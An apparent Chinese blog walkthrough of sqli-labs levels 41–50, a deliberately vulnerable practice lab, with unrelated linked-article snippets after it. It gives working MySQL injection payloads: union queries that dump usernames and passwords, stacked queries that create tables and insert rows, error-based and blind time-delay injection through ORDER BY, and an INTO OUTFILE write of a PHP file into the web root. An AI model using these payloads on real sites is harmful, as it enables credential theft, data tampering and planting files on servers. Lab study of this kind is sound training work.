第四十一关

这关和第三十九关一样,只是错误没有回显

获得版本和数据库名   ?id=0 union select 1,version(),database() %23

获得表名    ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

获得列名     ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

获取用户名密码  ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

 第四十二关

先打开网页查看 Welcome Dhakkan

Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。

分析源码login.php可以知道:

  1. $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
  2. $password = $_POST["login_password"];

password并没有被过滤,我们可以利用password来注入,用户名随意填写,密码如下:

    1. a';create table swl like users#

虽然页面显示错误,看看数据库,发现我们已经创建进去了

 第四十三关

和 42 类似 同样password 未过滤
login_user=1&login_password=a');create table less43 like users#&mysubmit=Login

但是数据库有了

 

 第四十四关

同上42,只是没有回显信息

login_user=a&login_password=a';insert into users(id,username,password) values(19,'a','a') --+&mysubmit=Login


看数据库

第四十五关

和第四十三关一样,区别是没有回显

login_user=a&login_password=a'); insert into users(id,username,password) values(20,''c','c') --+&mysubmit=Log

数据库里也有了

第四十六关

终于迎来了一个过渡
这次的注入是通过order by 来进行的
通过sort 查询

?sort=1试一下撒,哇,一下子用户名密码全出了了,咱们这不是不用努力了。。。那咱看看这关还能干啥

既然要用order by语句进行注入,那首先我们通过asc 和desc查看返回数据是否相同来简单判断是否存在order  by注入

为什么说他是order  by注入  因为在源代码中是这样的   $sql = "SELECT * FROM users ORDER BY $id";

?sort=1+asc   (正序)

?sort=1+desc    (倒序)

我们首先想想我们应该怎样注入 ,我们呢来获取一下啊别的啥的东西版本数据库名啥的

order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

没有报错,right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入

?sort=right(version(),1)     ?sort=left(version(),1) 效果是一样的

此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,

①直接添加注入语句,?sort=(select ******)

②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。所以我们用rand来检查我们后面输入的是否对

③利用and,例如?sort=1 and (加sql语句)。

同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

报错注入

获取数据库名    ?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))

获取数据库的权限?sort=(select count(*) from information_schema.columns group by concat(0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

获得数据库版本          ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

布尔盲注 

盲注获取数据库第一个字的ascii码(其他的不再演示了)

正则表达式注入 ?sort=1 ^(select(select version()) regexp '^5')发现版本

 第四十七关

和上一关一样,加个单引号就可以啦

获取数据库使用权限

?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

获得数据库版本           ?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

也可以程序分析参数后注入    ?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

当然也可以时间盲注  ?sort=1' and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

第四十八关

这关是盲注  order by 数字型盲注

布尔盲注  ?sort=rand(ascii(left(database(),1))=178)

时间盲注   ?sort=1  and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

第四十九关

这关是盲注   order by 字符型盲注,和四十六关一样,只不过没有错误回显

在四十八关的基础上加上引号就行     ?sort=1'  and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

这关还可以outfile进行写      ?sort=1 into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-49\\longshisan.php'

第五十关

这关我们就用堆叠注入  ?sort=1;create table test50 like users;%23

去数据库里看,发现有了

 

sql-lib闯关41-50的更多相关文章

  1. 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...

  2. python 闯关之路四(下)(并发编程与数据库编程) 并发编程重点

    python 闯关之路四(下)(并发编程与数据库编程)   并发编程重点: 1 2 3 4 5 6 7 并发编程:线程.进程.队列.IO多路模型   操作系统工作原理介绍.线程.进程演化史.特点.区别 ...

  3. Sql server2005 优化查询速度50个方法小结

    Sql server2005 优化查询速度50个方法小结   Sql server2005优化查询速度51法查询速度慢的原因很多,常见如下几种,大家可以参考下.   I/O吞吐量小,形成了瓶颈效应.  ...

  4. W3CSchool闯关笔记(Bootstrap)

    该闯关内容与JS闯关衔接. 每一题的答案均在注释处, 第一关:把所有的HTML内容放在一个包含有container-fluid的class名称的div下(注意,是所有的HTML内容,style标签属于 ...

  5. 2018年全国多校算法寒假训练营练习比赛(第一场)J - 闯关的lulu

    链接:https://www.nowcoder.com/acm/contest/67/J来源:牛客网 题目描述 勇者lulu某天进入了一个高度10,000,000层的闯关塔,在塔里每到一层楼,他都会获 ...

  6. sql-lib闯关1-10关

    闯关之前我们需要搭建所需环境SQLi-Labs SQLi-Labs是一个专业的SQL注入练习平台,该平台包含了以下在测试场景中常见的注入类型: 1.报错注入(联合查询) ​     1)字符型 ​   ...

  7. 网页闯关游戏(riddle webgame)--H5刮刮卡的原理和实践

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 对于刮刮卡, 想必大家都很熟悉, 也很喜 ...

  8. 网页闯关游戏(riddle webgame)--仿微信聊天的前端页面设计和难点

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 本文讲描述, 如何在网页端实现一个仿微信 ...

  9. 网页闯关游戏(riddle webgame)--游戏玩法和整体介绍

    前言: 记得上大学那会, 有位传说中的大牛, 写了一个网页闯关类的游戏. 当时我们玩得不亦乐乎, 也是第一次接触到这种形式的游戏. 不过当时纯玩家心态, 并没有想过去创造一个. 最近想起这事, 突然想 ...

  10. Pythonchallenge一起来闯关(二)

    前情提要:Pythonchallenge一起来闯关(一) 这一篇来闯关10-15.感觉这几关比先前的难了不少,有的题目完全没思路. 10. 页面源码中的链接点击后有a = [1, 11, 21, 12 ...

随机推荐

  1. YOLO 论文阅读

    YOLO(You Only Look Once)是一个流行的目标检测方法,和Faster RCNN等state of the art方法比起来,主打检测速度快.截止到目前为止(2017年2月初),YO ...

  2. 在博客中显示图片_Mac版

    主要是防止自己忘掉 为了解决一开始自己想在写入的博客中添加本地图片,直接链接的话在自己的电脑倒是可以显示图片,但是在别人的电脑上就没办法加载图片了,问各路大神也没人愿意解答,百度也没有想要的答案,只好 ...

  3. 目标用户偏好指数Target Group Index分析

    目标用户偏好指数Target Group Index分析 TGI指数,全称Target Group Index,可以反映目标群体在特定研究范围内强势或者弱势. TGI指数计算公式 = 目标群体中具有某 ...

  4. hive、Hbase、mysql的区别

    1.Hive和HBase的区别 1)hive是sql语言,通过数据库的方式来操作hdfs文件系统,为了简化编程,底层计算方式为mapreduce. 2)hive是面向行存储的数据库. 3)Hive本身 ...

  5. VUE实现Studio管理后台(七):树形结构,文件树,节点树共用一套代码NodeTree

    本次介绍的内容,稍稍复杂了一点,用VUE实现树形结构.目前这个属性结构还没有编辑功能,仅仅是展示.明天再开一篇文章,介绍如何增加编辑功能,标题都想好了.先看今天的展示效果: 构建树必须用到递归,使用s ...

  6. AOP和spring AOP学习记录

    AOP基本概念的理解 面向切面AOP主要是在编译期或运行时,对程序进行织入,实现代理, 对原代码毫无侵入性,不破坏主要业务逻辑,减少程序的耦合度. 主要应用范围: 日志记录,性能统计,安全控制,事务处 ...

  7. webpack进阶(三)

    1)CommonsChunkPlugin已经从webpack4移除,所以在用webpack进行公共模块的拆分时,会报错 Cannot read property 'CommonsChunkPlugin ...

  8. Numpy之数据保存与读取

      在pandas使用的25个技巧中介绍了几个常用的Pandas的使用技巧,不少技巧在机器学习和深度学习方面很有用处.本文将会介绍Numpy在数据保存和读取方面的内容,这些在机器学习和深度学习方向也大 ...

  9. nohub 将程序永久运行下去

    今天看了一遍文章,一直以为将程序制成sh脚本,通过crontab来间隔执行以为是真的不断执行,后来才发现是错误的,每隔一段时间都会执行一次,都会占用一个进程,难怪一看进程几十来个同样名字的进程在运行 ...

  10. 这些MongoDB的隐藏操作你真的都掌握了吗?反正我是刚知道

    背景 最近公司系统还原用户时偶尔会出现部分用户信息未还原成功的问题,最为开发人员,最头疼的不是代码存在bug,而是测试发现了bug,但一旦我去重现,它就不见了.Are you kidding me? ...